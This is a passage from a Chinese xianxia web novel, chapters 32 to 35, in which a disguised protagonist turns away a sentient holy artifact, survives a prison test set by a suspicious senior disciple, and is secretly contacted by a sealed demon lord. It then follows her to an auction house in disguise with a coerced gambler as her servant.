东闲已经对上清尺的印象减分。
东闲道：“我一直在屋中，未曾见过上清尺，你们再去别处看看吧，或许它又跑到别处了。”
对方显然不相信她的说辞，“哎呀，慕师妹你是真的没看见吗，你可别骗大家呀。”
有一人道：“慕师妹说没有就没有，若是在慕师妹手上，那必定是认慕师妹为主了，慕师妹何必同我们藏着掖着，圣阶法器皆有灵性，不可能为人强行认主，除非修为到了炼心境才有这种可能。”
那人反应到失言，连忙道：“抱歉慕师妹，我不是那个意思。”
东闲摇了摇头，表示并不在意。
“若我真能得此物，自会将喜讯分享给大家。”
这几句也说服了开口叫东闲不要藏着掖着的弟子，东闲要是真能拿到上清尺是瞒不住他们的，他便道：“原来如此，是我们叨扰了，慕师妹你且歇息吧。”
对面的鸦昤闻到异响，开门看过来。<
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p>弟子们又去问她有没有看见上清尺的痕迹。
鸦昤摇摇头。
“不曾见过。”
众弟子只好离开，继续去搜寻上清尺的下落。
等到把人都应付走，与鸦昤打了个招呼亲眼看着对方回屋，东闲这才把背后的上清尺拿出来，对它道：“走吧，我不会是你的主人。”
上清尺疯狂地晃了晃，还小心翼翼地蹭蹭她的手，希望她能回心转意。
东闲心道你真的很有眼光，但是她也真的不能认啊。
让上清尺认她为主，会有暴露她身份的隐患。
圣阶法器一般不会主动认主，它们由炼器师亲手锻造，想要得到认可还得先得到炼器师的认可，何况这是刚炼制出来的圣阶法器。
上清尺的到来更像是被东闲身上某个东西给吸引，东闲姑且认为是贪狼星君的灵识留存在她的识海的缘故，惹得上清尺屁颠屁颠地跑来了。
如若她真认下上清尺，会给她带来麻烦的，怀玉教习一事她看似勉强挨过，但是怀疑的种子只要种下，迟早会发育长大，她在离开前可不能再做出惹人怀疑的举动，不然就是她伪装的外象再厉害，也会被发现她是个冒牌货。
东闲不为所动，冷漠地看着它有意讨好的动作。
上清尺见东闲态度坚决，只好一步三回首地走了。
它要去哪里呢，它要回到亲娘身边哭唧唧求安慰。
绿云长老半靠在梨花木打造的罗汉榻上饮着小酒，潇洒快活得很。
耗时整整五年，她终于炼制出平生第一件圣阶法器，日后别人就得唤她圣阶炼器师，而非高阶炼器师。
想到这，绿云长老不免更加自得。
自她成功炼制出圣阶法器，引得天降异象，众长老与弟子们皆来穿云峰寻她，目光热切地询问她发生什么事。
她矜持地说自己炼制出一把圣阶法器，但是她拒绝大家的围观，告诉他们自己要休息了，尽管她心里很想好好地大肆炫耀一番。
绿云长老想到这，两眉染上愁意。
她以身体抱恙为由，打发了想要瞧一眼圣阶法器真容的众人们，因为她自己还想多瞧几眼，等到她欣赏够了再给他们也看看这是何等的宝贝。
可当她回去想要再看看上清尺时，却发现上清尺早就跑没影了，这圣阶法器刚炼制出来，都没让她这个亲娘多看几眼，就好似受到召唤般往另一个方向跑去。
绿云长老很是挫败，她花了五年养育的孩子，刚生出来就不亲娘，她原本不打算把这件圣阶法器让给人的。
可是孩子要跟人走，她强行改变孩子意愿，会使得孩子叛逆不亲她的。
想到这，这助兴的酒又成了消愁的酒，绿云长老苦闷闷地喝下一口又一口，愁闷没减半分，干脆把酒壶捞来往嘴里灌。
上清尺多半是受到感召而走，这种事情可少有，都没得她的同意孩子自个儿跟人跑了，她倒要看看是谁把上清尺给拐跑了。
绿云长老忽地顿住，她感觉到那阵熟悉的气息回来了。
绿云长老惊喜而道：“上清尺？”
上清尺一把扑进她的怀里，像是受了欺负般，虽然听不见它嘤嘤哭啼，但母女连心，绿云长老能感觉到它特别委屈。
对于炼器师来说，这些经自己打造的法器，每一个耗费心血，都是她的小心肝。
何况上清尺是绿云长老炼器以来，锻造出的最满意也是最耗费心血的一件法器。
无论从哪种方面都出色得不行，这可是引得天降彩霞的圣阶法器啊，为天道认可的圣阶法器，由三只七阶妖兽的诞生物玉华灵、极寒之地孕育万年的冰晶、数万块高浓度灵气含量的灵石等锻造而成。
五年以来，她日夜守着锻造台，锻造成功的时候，绿云长老都要喜极而泣。
如今得知自家乖乖遭人嫌弃，绿云长老怒不可遏，这可是她整整五年的心血啊，几近让她倾家荡产，打造需要的材料哪一个不是罕见灵宝。
她竟不知玄清宗还有如此眼高于顶之人，连圣阶法器都不屑一顾。
绿云长老气呼呼地把上清尺带了回去，好好地哄一番，已经记恨上这个不知名且不长眼的修士。
32.第 32 章
玄清宗的顶空挂着一轮月环，挥洒着晶莹的光辉，月环不大，高挂空中，唯有登上山巅才能窥见那轮月环。
以月环为中心，向四周形成透明不可见的防护罩，维持着玄清宗的结界。
据东闲了解，它的盈缺程度代表结界破坏程度，如今月环是完整的，这代表玄清宗的护宗结界没有被破坏。
东闲只欣赏了一会那月环，月华长老脚踩莲叶朝她而来，所经之处，未激荡起一点涟漪。
无双峰风景独特，哪怕是山巅还能看见盛放的荷花，这皆是月华长老用幻阵维持的效果。
东闲曾舀了池中一捧水喝，予她的感觉不亚于在真的喝一捧水，早闻月华长老的幻阵可以假乱真、瞒天过海，等她亲眼所见，只觉传闻说得还是保守了些。
她向月华长老行礼，而后为其展示昨日回去的学习成果。
再度见证东闲轻而易举地完成她布下的作业，月华长老不禁道：“你在阵法上有此天赋却才被发现，朝阳居然将颗明珠蒙尘多年，慕婉思，你过去就没意识到你的天赋吗？”
东闲收了阵法，阵法便化为星星点点消散，她笑道：“许是得了机缘，不然依弟子炼心境的实力，还不能从鬼煞冢安然出来。”
月华长老感慨道：“这也算是因祸得福，朝阳回来若是见到你没事，定然就放心了。你日日跟着安泛泛，记忆恢复得怎么样？”
东闲回道：“想起来还是有些困难，每每都要头痛难忍。”
见状，月华长老也不好逼她回忆，道：“也罢，过去的就让它过去，你如今勤恳修炼定当很快恢复往日的实力。”
东闲“嗯”了一声。
之后月华长老照旧指点东闲，过程中眉间有着化不开的躁意，东闲注意到这点，在找到合适的机会后，关切询问道：“师尊，弟子斗胆可问是发生什么了吗？”
月华长老倒也不瞒，直接道：“你也该听说过朝天圣果被盗一事吧。”
东闲被牵动了心神，道：“是那个贼人还没被抓拿住吗？”
月华长老道：“此事本与我无关，只是我有一故交担负着看守朝天圣果的职责，如今她到处寻找那贼人的下落，却始终无果，我见她愁容，心下也不忍，想要帮帮她，可恨连这个盗贼的背景都难以调查清楚。”
东闲眨了眨眼，心想她当初穿来的时候是在深山里，如今这群人却连这具身子的背景都难以调查清楚，想来这具身子的前主人得是个人物。
“依弟子看来，我要是她，我定然活不了多久，想要朝天圣果的人只多不少，她恐怕已经咽气，若想找到她，还得从那些想要朝天圣果之人下手。”
月华长老目光投向她，含着探究之意，问道：“此话何意？”
东闲解释道：“一个凡人怎敢盗取朝天圣果，她的背景又难以调查清楚，若非背后有人她定然做不到这点。
“她的痕迹已经被人有意抹除，而不想让她被发现的应是真正想要朝天圣果之人。实力变化明显和背景力量强大，这段时间内同时符合这两点的都需要注意，当然，他可能为了避风头，暂时不会服用朝天圣果，这点也需要注意。”
月华长老被她说得有些意动，思路还真有点想往东闲所说的那般靠。
东闲看着她，纯良又恭敬。
“不过这都是弟子一人的歪理，师尊您听着当个笑话也好。”
月华长老抬手怜爱地拍了拍东闲的左肩，满眼是喜欢。
“我越瞧你越欢喜，难怪安泛泛那姑娘总是要跟着你，新来的不夜天的鸦昤也对你赞不绝口。”
东闲弯弯眼，心说我就是照着您喜欢的模样来的啊，天赋好又伶俐，且要表现得谦恭敬重您。
“我也很喜欢您，我以前是多没眼光，怎么到现在才跟着您。”
女子的声音甜丝丝的，弟子的自称改为“我”，平添亲昵的意味，月华长老的躁意荡然无存，她没忍住多教了东闲额外的阵法。
月华长老不单单收了东闲一个弟子，但这会的教导时间内仅有东闲一人在，可称得上对东闲一对一的辅导。
只因她基础薄弱，月华长老照顾她，所以给她开了小灶，日日专为她腾出一定时间教导她。
东闲觉得自己进度很快就能赶上来，她为了能够学到更多，便没有太有意藏私，心道月华长老不必再让她独自修习，不免多嘴问道：“师尊，弟子什么时候能和大家一起修习？”
月华长老道：“快了，再过几日便可以了。”
她脸色又有了些许变化，道：“她来了。”
东闲也感知到有人来了，这道气息很霸道，突然的倾轧而来，让东闲感到很不适。
等到来人出现在眼前，瞧清对方面容的东闲心下微惊。
竟是她。
弟子们皆不愿靠近的亓沂出现在这，对方未看东闲，向着月华长老规矩地行礼，“师尊。”
东闲不知，亓沂居然也是月华长老的弟子。
月华长老道：“你们之间认识，我便不必赘述，亓沂，你说的方法计划得如何了。”
亓沂看了过来，眸中的锐利丝毫不掩藏，寻常人难以受得了她的目光凝视，不需要法术加持就能极具威慑的目光，就这双眼能叫人吓得湿了□□。
“师尊若不介意，我现在就能帮她。”
东闲被她看出胆怯来，无助地将目光投向月华长老。
月华长老安抚道：“别担心，她是来帮你的，你的星宿传承不是还没法显形吗，亓沂说了她有办法帮你重现星宿传承。”
帮我？怀疑我想要拆穿我的身份才差不多。
东闲尝试挽救道：“师尊，星宿传承无法显形目前来看似乎并不能对弟子产生影响，不需要麻烦亓沂师姐的。”
亓沂说得很快：“我不觉得麻烦。”
月华长老也道：“星宿传承显形总比没显形好，若是日后出了差错那便得不偿失，相信你的亓沂师姐，她会帮你的。”
亓沂掌心握住的珠子飞至低空，一个阵法徐徐形成，她没给东闲开口的机会，不容拒绝地道：“先来测试星宿传承。”
东闲没办法开口回绝，必须登上法阵测试星宿传承。
她没想到亓沂这个变故，不知此人到底是从哪一点瞧出自己的不对劲，怎就总要针对自己，难不成这世上还真有一眼就能洞悉他人想法的法术不成，仙尊没有她有？怪哉。
现下，她只好登上法阵，大脑运转着应对之策，就算法阵显示她毫无星宿传承，可她毕竟也能使用星日马的星宿传承，总不能因此就断定她的身份有嫌疑吧。
她力图让自己看起来镇定，若真的出现异样情况，她只要装傻装不知道装害怕，没人会太过为难从鬼煞冢出来的一个记忆全失修为尽丧的可怜人。
东闲登上法阵中心，脚下的法阵在她登上的那一刻随之流转，就见法阵闪过一道白昼，东闲的背景酝酿着即将成形的星宿传承。
她能感觉到法阵与她的联系，识海中最先出现的是觜火猴，一晃而过，但是仍然存在，下一个出现的是房日兔，紧接着是箕水豹、鬼金羊……
她曾问过安泛泛，法阵是如何能展现他人的星宿传承，安泛泛说，当你登上法阵的时
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候，法阵会与你的识海产生共鸣，能在你识海里出现的，那就是你拥有的星宿传承。
而此刻，在东闲识海中出现的是整整二十八种星宿传承，无一缺漏。
东闲不免惊住了。
一人一生只会觉醒一种星宿传承，我识海里出现的怎么是二十八种。
而且……
我不是肉体凡胎与仙路无缘吗，我的灵体不是靠朝天圣果得来的吗，这算怎么回事？
可她却也真真实实看见了二十八种星宿传承在识海内流转，她甚至可以挑选展现的星宿传承。
自她身后，呈现出瑰丽绚烂的星日马的图腾，映入在场另外二人的眼里。
见法阵测出来的结果是星日马传承无疑，甚至还是五分传承，亓沂的面容不见分毫变化，唯一的举止也只是收回了珠子。
东闲见她收了珠子，明知故问道：“亓沂师姐，我的星宿传承能展现出来吗？”
亓沂道：“能。”
她拍拍心胸，道：“吓死我了，我还以为我的星宿传承真出了什么问题。”
亓沂道：“方才的测试只能证明你的星宿传承还在，我还没有对你的星宿传承显形实施应有的措施。”
她转而向月华长老道：“师尊，我需要带她走一趟。”
月华长老颔首，允了她。
“去吧。”
亓沂转而抓住东闲的右肩，掐起御风术就带她下山。
途中因为速度太快，被今日执法堂值班的弟子叫住。
“前面的那个谁，注意你的速度，不然我就要记过了。”
亓沂回首瞥了他一眼。
那弟子看清了她的面容，神情倏然一变，讪讪而道：“原来是亓沂师姐。”
亓沂继续带着东闲离开，速度却是慢了下来。
东闲被她带着穿过广场，穿过听风竹林，穿过漫情花海，最后来到监牢，方才被放下。
东闲未曾来过监牢，但也知道亓沂被她带到何处，她心想亓沂总不能想私自动刑把她关进监牢，就算是掌门也不能毫无缘由地关押一个人。
“亓沂师姐把我带到这，确定是为了帮我吗？”
亓沂道：“我没说要帮你。”
她掏出象征代掌门权利的玉牌，在两个守卫的见证下进去。
东闲稍作犹豫，转而跟了上去。
监牢里的气氛很压抑，因为有专门的法宝屏蔽缘故，东闲无法窥见，她目光略微移动，落在了亓沂不知何时带上的单片眼镜，散发着蓝色的荧光在黑暗中格外夺目。
亓沂的眼睛没有问题，那应当是能破除法宝屏障的法器，在她的视线内，监牢的原本模样能够看得一清二楚。
东闲扯住了她的袖口，在她投来视线的那刻，也贴了上去，言语中尽诉说着让人怜惜的遭遇。
“好黑，跟鬼煞冢那里一样黑，亓沂师姐，你干嘛带我到这啊，我有点怕，
随着她的言语，手上的动作改扯为抓，在亓沂看来，颇有她不表态就得寸进尺的意味，双目莹莹似有泪光，极像是被勾出不美好的回忆。
瞧着，的确让人怜爱。
亓沂没有第一时间拿开她的手，而是问道：“我有一事要你来做，你不能吗？”
“若是能帮到亓沂师姐，我自是愿意……”
她的话没能道完，或者说亓沂只要听到这句话就够了，便被亓沂推了进去，无尽的黑暗瞬时包裹住她。
“你说你是从鬼煞冢回来，那么对于如何压制鬼煞冢的那群魔，不使你受到侵害，应当另有番见解，再进一次也不会怕。”
33.第 33 章
望不到头的黑暗。
东闲伸手尝试探路。
“亓沂师姐，我怕。”
她打着颤的嗓音在黑暗中发出一点声响，面上却是违和地不沾一点情绪。
东闲没指望得到亓沂的回应，目光无法在黑暗中搜寻到一点光亮，不禁想到亓沂的话，所以这里是有魔的吧。
让对魔产生阴影的亲师妹与魔独处，此番举止，倒与魔一般残忍。
东闲只能在心中腹诽几句，不得发泄，她摸索着想要出去，不可能真任由亓沂把她困在其中。
谁知亓沂那轻轻一掌如此厉害，她循着来时的方向原地返回，走了好一段路都没看到单片眼镜上蓝色的荧光。
而她已经听到魔的嘶吼声，像是嗅到了猎物的味道，而显得兴奋甚至痴狂，叫声越喊越大。
东闲不用估量便知自己与魔对上定然是死路一条，她只能寄希望于亓沂不想真的让她死，会出面救她。
她因亓沂的举止，心中生出猜测。
亓沂怀疑她的身份造假了吗，还是是亓沂真的很好奇她是以什么样的方式能在炼心境的实力下，离开鬼煞冢？
不论是哪种，东闲都没办法让她如愿。
她一面摸索着来路，一面掏出随身携带的储物袋，想看看有没有适合的符咒时，那魔的速度更快，似是瞄准猎物的鹰隼，立时要扑上她，若是剑在的话，必然要因此发出一声铮鸣。
彼时的东闲心要跳到嗓子眼里，百家秘法绝学在脑海中不断演示，周身的灵力向她涌来。
在外候着的亓沂，感受到里边的灵力波动，眯了眯眼。
东闲最终忍下出手的冲动，那一刻她的脑海里闪过的是亓沂的脸，即使大脑被吓得无法正常思考，她也依据直觉强迫自己不要出手。
而事实证明她的做法是对的，那魔好像撞到了什么，发出沉闷的声响，嘶吼的声音近在耳旁但始终不见魔进一步的动作，似是有东西阻断了魔的靠近。
东闲后知后觉地觉察到自己一直是安全的。
这里是监牢，能被关在这的不是罪大恶极便是实力强悍。
亓沂不可能为了试探她而放出在里面关押的囚徒。
黑暗与实力的弱小影响了她的判断，那一刻的她几乎想使出百家秘法绝学来对付，殊不知亓沂要试探的就是她在遇到危险时爆发的力量。
而她要爆发的力量，会拆穿她是慕婉思的谎言。
“呵。”
她自嘲一声，平复了心绪，目光投向魔嘶吼的地方，这里的黑暗由结界造成，她想起个火诀都无用。
那魔会说人言，黑漆漆的眼珠盯着东闲，东闲就算看不见也能感受到对方目光强烈的注视。
“尊上……”
东闲心下一跳，这种称呼是魔对魔尊才会有的称呼，而监牢就她和魔二人，它唤的不就是她吗。
她紧忙抬步往来时的方向跑，以免让那魔嘴中再道出让她心惊肉跳的话，从而被亓沂听到，埋下祸根。
她跑的时候，在想自己为何会被魔错认为魔尊，要知道，进入鬼煞冢的是慕婉思而不是她啊。
东闲的视线内终于出现那点蓝色荧光，她面容委屈，声音可听哭腔。
“亓沂师姐。”
亓沂不吃她那套，直言道：“你在鬼煞冢就是这样活下来的？”
东闲回道：“我失忆了哪还记得那般清楚，只知道害怕的时候跑就行了。”
“跑？”亓沂的神情有些微妙，似是对这个答案感到很是荒谬。
东闲理所当然地道：“要是跑得慢，会被它们追上，我就出不来了。”
亓沂心里却想，如若我真对鬼煞冢一无所知，你这副尊容的确说出再离谱的答案都足以唬人。
透过单片眼镜，亓沂可以清晰看见对方面上几乎溢出来的委屈，她又一次扯住自己的衣服，这回比上次多使了几分力，好似这般就不会被自己再扔进去。
亓沂锐评：“娇气。”
这下亓沂居然也没有继续让东闲留在监牢，转身离开监牢，扯住她衣服的东闲跟着她一起走，直到出了监牢外，亓沂睨了眼抓住她衣服的手，东闲这才松手，看着她掐起御风术离开。
亓沂突然离开，并非是良心发现想要放过东闲，而是收到月华长老的召唤，要去大殿召开会议。
大殿内，各大长老云集于此。
红莲长老最先开口：“无望之地混乱无章，如今过去近乎月余，依旧无法得到那里的讯息，若想荡平祸患，至少需要一个月。”
碧霄长老叹道：“无妄之地的魔弄出这么大的架势，怕是那鬼煞冢的魔尊要苏醒了。”
亓沂此时抵达，长老们向她行了个对掌门才会行的礼。
亓沂走上高座坐下，聚集一处的长老们也纷纷回到自己的位置。
亓沂简单粗暴地道：“关于此事，我有一个可行的提议，我们可以和魔共处。”
此话一出，一众长老面色都不好看，说修士能与魔共处，不亚于往火坑里跳，修士和魔可是天敌，修士怎么可能与伤害自己的魔共处呢，这简直是在胡说八道。
说出这种胡话的修士无论是谁都不可原谅，何况是亓沂，现在的身份是代掌门的亓沂。
亓沂继续道，一双看似古井般无波的眼眸内蕴藏着骇人的风波。
“魔不死不休，不死不灭，杀死一个魔尊，会有下一个魔尊顶替，代代皆如此，唯有与魔共处，才能保证修士不再受魔侵害。”
月华长老一时心急，直言唤道：“亓沂，住嘴。”
瑶光长老气笑了，见月华长老还想阻拦，直言打断道：“月华你就让她说下去，她是掌门她有权利表达她的想法，何况我也想听听这种与魔为伍的主意怎么个有用法。”
亓沂仿若没看出在场众长老糟糕的神色，仍然表达着自己的想法。
“我们可以契约魔，契约灵兽能做到，契约魔也能做到，魔要比灵兽更不知疲倦更不需要任何利益的维持，单从魔与魔尊的相处方式，便能知道他们对上级有着绝对的臣服。”
瑶光长老越听越怒
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，大力拍了下扶手。
“魔那种孽畜，以世间暴虐、贪婪等邪恶的情绪诞生，你觉得这种东西能为我们所用？能真正掌控它们的只有拥有最纯粹恶的魔尊。
“你必须明白魔是我们永远的仇人，是我们消灭的存在，多少修士死于魔之下，你身为掌门居然道出与魔共处之言，你知道这句话说出去，要成为多少人的把柄！”
苍华长老吹着胡子，瞪着亓沂道：“掌门真的是太惯着她了，月华你也是她的师尊，你岂能让她出口妄言，我看她的根就是歪的，这些年的教导都是白费了心，竟让她说出与魔共处的话来。”
瑶光长老又道：“她日后可是玄清宗的掌门，作为掌门言传身教，她这副模样还怎能给弟子们做表率。”
几位长老越说越激动，情绪大到直接站起来唾沫星子飞溅不停。
与之相对的，引起众怒的亓沂显得平淡许多，她百般聊赖地屈起手指在圆润的扶手表面上打着圈，对这种情况的发生有所预料。
长老们就是脾气不太好，动不动就生气，亓沂并不明白他们生气的点，她只是说出了合理并且有望能成的观点，明明她的出发点是好的，这些长老们怎么这般老顽固，思想传统不跟新可不好。
这世上的人好像没有几个思想正常的，过于正常的她就会在这群人眼中是异类。
就像放火烧了整个村子这个行为有好什么议论的，这难道不是最简单最有效的方法吗，他们总是这样顾虑这顾虑那，导致故步自封。
月华长老急得要死，知道这个弟子思想古怪，性子孤僻，跟旁人走不到一块，故而一个人居住在听风竹林中，却不曾想到她竟会出此狂言。
惜才心切的她忍不住为亓沂说好话，何况他们必须得承认，亓沂是玄清宗最出众的弟子，没有之一，这个好苗子玄清宗百年难遇。
月华长老道：“亓沂她还是个孩子，我们几位长老只要多加管教，她会明白的，她方接了委托回来不久，怕是脑子还没清楚，才说了胡话，回去休养几天便好。”
其他长老听出她话语中的维护之意，有的嘲讽说她这个岁数可不是孩子了，有的不认账嗤笑一声，有的保持沉默目光透着失望之意。
月华长老使眼色道：“亓沂，还不快给几位长老道歉。”
亓沂顺从地道：“抱歉，诸位长老，是我失言了，日后我会谨言慎行做好表率，我身体有些不适，便先走了，你们继续。”
也不给其他长老说话的机会，亓沂转身就走，很快离开大殿，她走得那样快，完全看不出是身体不适该有的速度，长老们甚至没来得及出声。
亓沂不会改变自己的想法，道歉也只不过是明白自己掌门之位还没彻底拿到手，不可让人拿了把柄。
她今日的这番话只是告知他们，她的主意不会更改，她已经找到与魔共处的一点线索，只要再找下去，她会让她的话成真。
至于旁人的阻拦与不解，他们拦不住亓沂。
她还是有些好奇，慕婉思到底怎么能从鬼煞冢全身而退的。
34.第 34 章
东闲得以被放走后，回头看了眼监牢，而后慢吞吞地往回赶，想要再去见见月华长老，因为今日的功课还没布置。
她来玄清宗是学习的，在离开前她会学到更多再走，百家秘法绝学极具辨识度，她已能了解到，贪狼星君所传皆与各家绝学有关，轻易运用会遭到怀疑。
她回到无双峰时，月华长老还未来，便耐心多等一会，头顶那轮圆月又映入眼睛，东闲盯着它少顷，脑海里不可控制地闪现一段破碎的画面。
东闲被惊得微微张嘴，那一闪而过的画面内有一个女子和她背后碎裂的弦月。
而那个女子，有着她真身的模样。
她大脑一时混乱无序，无法去清楚这段画面是她自己盯久了臆想出来的，还是别的什么。
几声踩水声响，觉察到月华长老的到来，东闲收敛情绪，转身躬身行礼。
月华长老形容疲惫，情绪不高，经过东闲身边，坐在一旁的藤木秋千上。
“你的星宿传承如何了？
东闲摇了摇头表示仍然是那样，继而道：“亓沂师姐说了，这不会影响我的能力发挥，让师尊您放心。”
月华长老原本烦躁地揉着眉心，闻言都忍不住想笑。
“亓沂还有体谅我的时候？让我放心的话是出自你口吧。”
月华长老没再说什么，她转而开始教导东闲，整个教习的过程进展飞快，或者说是她有意草草结束，想让东闲走。
东闲大着胆子问是发生何事了。
月华长老面上溢出一丝苦笑来。
“你们都不愿接触亓沂，是因为她孤僻不好亲近，我过去原想着感情可以慢慢培养，你们很快就能熟络，后来又觉得她管顾好自己便好，而如今我才发现我从来都没有教好她，竟让她口出与魔共处的妄言来。”
东闲听在心里，不觉得一点愤怒，对于亓沂的说法，甚至是很感兴趣。
与魔契约这种想法不太现实，因为几乎所有的修士都厌恶魔，恨不得魔这种存在尽快灭绝才好，而且魔只会服从魔尊，亓沂这么做是有什么发现了吗。
东闲联想到对方把她关进地牢的行径，难道亓沂就是为了找到与魔共处的方法？
她装作吃惊不敢相信的模样，讶然地道：“亓沂师姐怎么能说出这样的话，这实在太不该了。”
月华长老没有瞧她，眉心间还是化不开的忧愁。
“亓沂这孩子，有时候真的很难搞懂她的脑袋里在想些什么，她是我见过最具有想法的人，我还真会担心她突然搞出令所有人吓一跳的阵架来。”
东闲道：“是因为无妄之地的魔潮吗，掌门和朝阳长老似乎有好些时日没有回来了。”
月华长老只当她是想见朝阳了，没有多想，直言而道：“还得需一段日子，他们会尽快回来的，你努力修炼，朝阳回来会很欣慰的。”
东闲颔首应下。
二人又闲叙了两句，东闲保持分寸未再多言，很快向月华长老告退，她独自回到越霄峰，手心的刺痛在不断扩散，她感觉整个手臂都要麻痹了，内心里不断有一个声音响起，扰得她烦不胜烦。
她面容添了分戾气，讨厌极了这种被控制的感觉，只是在监牢中与那魔物触了片刻时间，竟会生出这么多事来。
她匆匆回到房间，对面的鸦昤方从演武场回来，眼看着东闲径直进了自己的屋，连个眼神都没留给自己，不免心中郁闷。
今天怎么不跟我打招呼了。
她在原地驻足一段时间，发现对方真的没有回头把那招呼补起来的意思，便悻悻然地转身回屋。
东闲合上隔扇，起了个屏蔽阵法，这才伸出掌心，看向掌心的情况。
摊开手心，手掌的红痣已经变大形成一个奇怪的符文印记，而后她的意识被迫与他人连接，使得她听到了来自千里之外的声音。
那道声音在她脑海中回荡，危险又诱人，让人为之沉沦。
“别紧张，我是来帮你的，我能帮你拿到你想要的一切，只要你肯服从于我，你想要的一切都能得到。”
东闲直接打断，问道：“你知道我是谁吗？”
魔尊诱哄道：“好孩子，你会告诉我的对吧。”
东闲看着镜中人的模样，冷笑一声，主动切断了与魔尊的联系。
不论是谁，都休想轻易控制她。
只是这玉佩到底是何来历，不是说魔修吸食他人修为魂识的东西吗，怎么还能让她与魔尊联系，而且，还能不让玄清宗发现。
这个魔尊找上她，莫不是因为怀玉和常怀清任务失败，转而要她剥夺鸦昤的星宿传承。
听它的口气认不得自己，想要与她联系还得得她同意，那便等她愿意听它几句话再放它说话。
东闲看着掌心，那印记又缩为红痣，好似什么事都没发生过。
鬼煞冢被数道枷锁封印的魔尊，正在诱哄着他今日新生的信徒，怎料他们间的对话才刚刚开始，两方的联系就被迫中止。
为什么会这样。
魔尊思来想去给这个从未有过的可能得出一个理由，理应是玉佩被东闲认主的时间过于短暂，还没有进行融合彻底，难免会出现一点纰漏。
魔尊才不会相信是东闲那方主动切断的联系，东闲在认下它的玉佩后，不可能再做出反抗违背它意思的举止来，所以问题只能出在玉佩上。
回味着那具身体的气息，魔尊贪婪地舔了舔尖牙。
“好香，是朝天圣果的味道。”
***
赌坊内，酒鬼赌徒疯言乱语，骰盅碰撞的声音不断回响，尽显一片糜烂之色。
阿正满眼血丝，脸上附着的死气在时间的流逝下愈加深重。
赌友抬肘顶了顶他，“你这手气不行啊，都输了十五把了。”
阿正浑身哆嗦着，神情疯狂，要将所有的注意力都放在骰盅上，眼看庄家又要开始一局，他喊道：“来，还来，这回我赌小。”
赌友们笑道：“哟，阿正阔气了，还有的钱拿来赢。”
他没有理会他们的声音，满心眼看似始终落在骰盅上，实则眼睛失焦，脑子里被几句话给占据。
你到底什么时候来啊，放过我吧。
他忍受不了地大力拍打脑袋，这种疯狂的举止没能引得他人的侧目，因为输得倾家荡产而崩溃嚎啕的赌徒只会做更加疯狂的举止，这是赌坊的常态。
“阿正，你等很久了吧。”
轻柔的声音从身后而来，不能让阿正有一点的缓和，反而使得他神情更加惊恐但又透露出一丝解脱。
东闲的到来瞬间吸引了其他人的注意，见她虽然
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有斗笠遮掩容貌，隐见身形动人，声音已经足够悦耳，几个赌友有想流里流气地吹个口哨，有想污言秽语吐出。
“阿正啊，你这是傍上大的了，难怪最近有这么多钱。”
阿正神情害怕，大喊了句“闭嘴”，突然抡拳朝冲东闲吹口哨言语污秽的人砸了过去，疯狗似的打，竟也叫一群赌友害怕地逃跑了。
“阿正疯了，快跑。”
“***，别让老子找到人办掉你。”
阿正转回身来谄媚地同东闲道：“主人，我听你，我什么都听你的，他们不敢在你面前造次。”
帷幕下传来轻飘飘的声音。
“跟我来。”
东闲把他带了个角落，设下阵法屏蔽，方与他对话。
被她故意折磨心灵数日的阿正，扑通屈膝跪下求饶道：“我求求你放过我吧，我愿意什么都做我再也不会背叛你，我发誓永远不会。”
东闲摘下幕篱，轻声叹道：“阿正啊，为什么不一开始做出正确的选择，看你受如此困扰我又怎能忍心。”
她居高临下地望着他，眼神内毫无怜悯之情，有的只是对方抛弃尊严求活的讥讽之意。
阿正一颗心也被这寒意冰冻，他再不敢看她神色，脑袋好似灌了铅般沉重，砸在地上，发出沉重的声响。
东闲扶起他的两边臂膀，道：“我要去一趟玲珑阁，身边缺个人，你曾在大户人家做过奴仆，现在知道怎么做吧。”
阿正只当这是赎罪的机会，感激涕零地连连道好，见她要扶起自己，哪敢真让她扶，赶快自己站起来。
东闲让阿正的面容修整一下，他原本是满脸胡茬的模样，所以只要修剪掉胡茬，便能与先前的容貌变化很大，再换身衣裳，基本上就不太让人看出原本的模样。
玲珑阁来了个新客人，客人以白色幕篱遮住容貌让人看不真切，但是幕篱下的那双眼的存在感让人难以忽视。
接应东闲的下人察言观色，连忙上前奉承道：“敢问小姐尊姓？”
幕篱下传来一道声音：“尤。”
姓尤？除了他们老板外还有哪个人家能姓尤的？
东闲却不给他思索的机会，绕过她的身侧便往里边走，她连忙跟上招呼东闲。
“尤小姐，您是新来的吧，每一个进来的客人都要测试星宿传承。”
幕篱下的那双眼落在她身上，无声地予人威压。
招待的下人面上挑不出任何错，笑容标准极了。
东闲道：“拍卖行还有这等规矩？”
招待的下人道：“如若尤小姐不愿意测试星宿传承，恕我们不能放你进去。”
双方僵持了一段时间，幕篱终于妥协地小幅度地上下晃了晃，招待的下人便继续为她指路，引她进行星宿传承的测试。
东闲站在法阵中心，身后的星宿传承大变，随机选择到觜火猴的星宿传承便在身后显形。
她因为星宿传承天赋过高，被下人引领到包间。
东闲没有选择拍下任何一件拍卖品，只是在听到有点兴趣的拍卖品时，她的目光便会在那拍中的人身上多停留片刻。
东闲来这里不是为了拍卖品，而是来找一个人。
幕篱下的目光四处搜寻，掌心的红痣若隐若现。
蓦地，与一双眼对上。
35.第 35 章
二人视线交汇的那刻，皆都默契地碰开了视线，但是二人心知肚明对方就是自己想找的人。
眼看最后一场拍卖也要结束，东闲起身准备离去。
先前招待她的下人找上她，说是他们的尤老板要见东闲。
东闲目光一转，便想落在方才对过视线的男人身上，男人不知何时离开已经不在原地。
东闲颔首，示意明白。
“好啊，你告诉我在哪，我马上就来。”
下人是想领她过去，听她要自己去，不禁道：“尤小姐，我会为你引路，玲珑阁内若无人指引很容易迷路的。”
幕篱下的声音如此道：“非要看着我，你是怕我跑了不成？”
空气都凝固一息。
幕篱下的声音又笑道：“好了，我不为难你，只是我不小心脏了手，你能带上盆干净的水吗，黏糊糊的好难受。”
东闲摊开手，残余的茶液还未干，轻而易举地让对方看到那手并不干净。
下人转身就叫去准备干净的水和手巾。
东闲将一物塞到阿正的手心，把头顶戴着的幕篱一并盖在阿正头上。
“你该知道你要怎么做。”
阿正连连颔首表示明白。
他俩个子相似，服装也在东闲的有意为之下，达成高度相似，东闲再把头上的幕篱交给阿正带上，他们便成功混人眼目，叫别人发现不了阿正的身份。
她在识海中的百生镜选中一个身份，转而变成一个魁梧男子，离开了包间。
待下人回来时，只见屋中“幕篱女子”一人。
下人觉得眼前人的眼睛直勾勾地盯着自己，便不敢多问，只在对方背身擦完手后，道：“尤小姐，请跟我来。”
